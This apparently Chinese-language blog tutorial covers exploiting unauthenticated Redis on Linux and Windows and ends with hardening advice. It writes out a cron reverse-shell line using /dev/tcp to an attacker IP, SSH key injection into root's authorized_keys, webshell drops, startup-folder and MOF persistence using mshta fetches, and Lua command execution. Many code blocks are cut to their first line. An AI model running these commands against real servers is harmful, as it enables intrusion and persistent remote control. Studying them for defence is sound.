0x01 Redis
Redis是一个开源使用ANSI C语言编写、支持网络、可基于内存亦可持续化的日志型、Key-Value数据库,并提供多种语言的API。
0x02 漏洞产生
详情
Redis因配置不当可以未授权访问。 但是,一些Redis服务绑定到公共接口,甚至没有密码身份验证保护。
攻击者无需认证访问到内部数据,可以导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。
攻击者可以通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。
若Redis以root身份运行,攻击者可以给root账户写入ssh公钥文件,直接通过ssh登录受害服务器
0x03 Linux下漏洞利用
利用流程
- 登录不受保护的Redis
- 将其备份位置更改为.ssh目录 - 将ssh密钥写入新的备份位置
- 使用ssh密钥远程连接并登录目标服务器
环境
公网Redis 服务器: 192.168.1.224
本地攻击机: 192.168.1.166
获取主机端口开放信息
nmap -A -p 6379 --script=redis-info 192.168.1.224
访问获取敏感信息
redis-cli -h 192.168.1.224
写入定时任务
这个方法只能在Centos上使用,Ubuntu上无效。
Ubuntu:/var/spool/cron/crontabs/<username>
Centos:/var/spool/cron/<username>
原因如下:
- Redis save的时候会有一些不可见字符以及乱码,对于Centos是不要紧的,但是对于Ubuntu来说是会报错的
- Redis写入的文件权限为644,Ubuntu下要求为600,否则执行会报错;而Centos下的可以执行
此外,两个系统共同存在的/etc/crontab
需要root权限才能写,而高版本的redis以redis的身份运行的
写入反弹shell语句
1 | set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.152.129/4444 0>&1\n\n" |
然后只需监听一分钟即可。
写入ssh
原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh
和默认的缓冲文件authorized.keys
,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key。
首先,在攻击机本身生成一个key
ssh-keygen -t rsa
然后,进入/root/.ssh/文件夹,将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的缓冲区里:
1 | cd /root/.ssh |
然后,连接目标主机的Redis,设置Redis的备份路径为/root/.ssh和保存文件名authorized_keys
1 | redis-cli -h 192.168.1.224 |
最后,用ssh远程连接(不需要密码即可):
在authorized_keys
文件里可以看到redis的版本号,我们写入的公钥和一些缓冲的乱码
写入webshell
通过redis在指定的web目录下写入一句话木马,用菜刀连接可达到控制服务器的目的。 远程连接Redis,写入webshell
1 | redis-cli -h 192.168.152.128 |
然后可以直接连菜刀。
对于获取流量来说,可以本地redis-server开启,然后redis-cli去连接,输入payload,期间利用tcpdump进行抓包并保存为cap格式文件tcpdump -i lo port 6379 -w redis.cap
,然后利用wireshark打开,获取01源数据,再转化为gopher协议payload
1 | def result(s): |
利用redis执行命令
redis 2.6以前的版本
内置了lua脚本环境,在有连接redis服务器的权限下,可以利用lua执行系统命令。
本地建立一个lua脚本
1 | vim hello.lua |
在客户端连接redis服务器并执行hello.lua
1 | redis-cli eval "$(cat hello.lua)" 0 -h 192.168.1.224 |
0x04 Windows下漏洞利用
环境搭建
下载并安装好Redis之后,进入安装目录下编辑redis.windows.conf
配置文件,修改以下配置
1 | protected-mode no |
然后重启Redis服务即可得到一个未授权的Redis服务
1 | redis-server --service-stop |
攻击手法
- 写入Webshell
- 写入启动项
- 写入Mof、dll劫持
写入Webshell
环境
- Kali 172.20.10.8
- Win7 172.20.10.10
流程
直接在Web目录下写入一句话即可
1 | 172.20.10.10:6379> config set dir "C://phpStudy//PHPTutorial//WWW" |
写入启动项
环境
- Kali 172.20.10.8
- Server03 172.20.10.7
流程
- 下载PS_shell.rb放入
/usr/share/metasploit-framework/modules/exploits/windows/
目录下作为模块,然后在msf中reload all
即可使用 - 使用该模块然后配置好URI,exploit拿到
mshta.exe "http://172.20.10.8:8080/test
- redis写入启动项
1 | 172.20.10.10:6379> config set dir "C://ProgramData//Microsoft//Windows//Start Menu//Programs//Startup" |
【注】在bat
中每一行当做一条命令执行,所以要用到多个\r\n
进行换行
- 重启win7,返回shell
写入Mof
环境
- Kali 172.20.10.8
- Server03 172.20.10.7
流程
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式”其作用是每隔五秒就会去监控进程创建和死亡,但是在03以后就没有这个文件了
写入C://WINDOWS//system32//wbem//mof/
目录即可
1 | cat mof.txt | redis-cli -h 172.20.10.7 -x set x |
0x05 修复方案
禁止一些高危命令
修改 redis.conf 文件,禁用远程修改 DB 文件地址 ,重启redis才能生效
1 | rename-command FLUSHALL "" |
或者通过修改redis.conf文件,改变这些高危命令的名称
1 | rename-command FLUSHALL "name1" |
以低权限运行 Redis 服务
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆 ,重启redis才能生效
1 | groupadd -r redis && useradd -r -g redis redis |
为 Redis 添加密码验证
修改 redis.conf 文件,添加
1 | requirepass mypassword |
(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)
禁止外网访问 Redis
修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
1 | bind 127.0.0.1 |
在redis3.2
之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错
保证 authorized_keys 文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
1 | chmod 400 ~/.ssh/authorized_keys |
为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
1 | chattr +i ~/.ssh/authorized_keys |
然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:
1 | chattr +i ~/.ssh |
设置防火墙策略
如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。